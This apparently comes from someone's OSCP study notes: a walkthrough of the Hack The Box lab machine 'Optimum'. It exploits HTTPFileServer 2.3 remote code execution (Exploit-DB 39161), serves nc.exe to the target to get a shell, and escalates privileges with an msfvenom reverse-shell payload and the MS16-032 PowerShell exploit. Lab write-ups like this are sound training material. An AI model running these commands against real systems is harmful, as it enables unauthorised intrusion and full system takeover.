> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/htb/oscp-like-boxes/optimum.md).

# Optimum

### Full port scan

<figure><img src="/files/W9tsulq9TLD1SXGVDSMh" alt=""><figcaption></figcaption></figure>

### HTTPFileServer 2.3 RCE

![](/files/w913UEJKms6Lr4PMTNtD)

* HTTPFileServer 2.3

<https://www.exploit-db.com/exploits/39161>

* Edit the local IP addr and port number

![](/files/uXPnulPGEEyNc6DtfQ4u)

* `cp /usr/share/windows-resources/binaries/nc.exe .`
* `python3 -m http.server 80`
* `python2.7 39161 10.10.10.8 80`
* Obtained user shell

<figure><img src="/files/K24qhEs91Q1VSC6Ae5cm" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

* Running windows exploit suggester

<figure><img src="/files/d7kz2yC4fXdL7BSAu3aq" alt=""><figcaption></figcaption></figure>

* `msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f exe -o reverse.exe`
* Used [`https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1`](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1)
* Changed the payloads to `c:\\users\\kostas\\desktop\\reverse.exe`

<figure><img src="/files/xchEq4P2lKYQDNdsCary" alt=""><figcaption></figcaption></figure>

* `c:\\windows\\sysnative\\windowspowershell\\v1.0\\powershell.exe -ep bypass .\\Invoke-MS16-032-Remote-Shell.ps1`
* Obtained ROOT

<figure><img src="/files/Xpc6HwH03ztRgudwRHSG" alt=""><figcaption></figcaption></figure>

![Untitled](https://s3-us-west-2.amazonaws.com/secure.notion-static.com/8aac527b-9509-4339-852b-de86325dd20d/Untitled.png)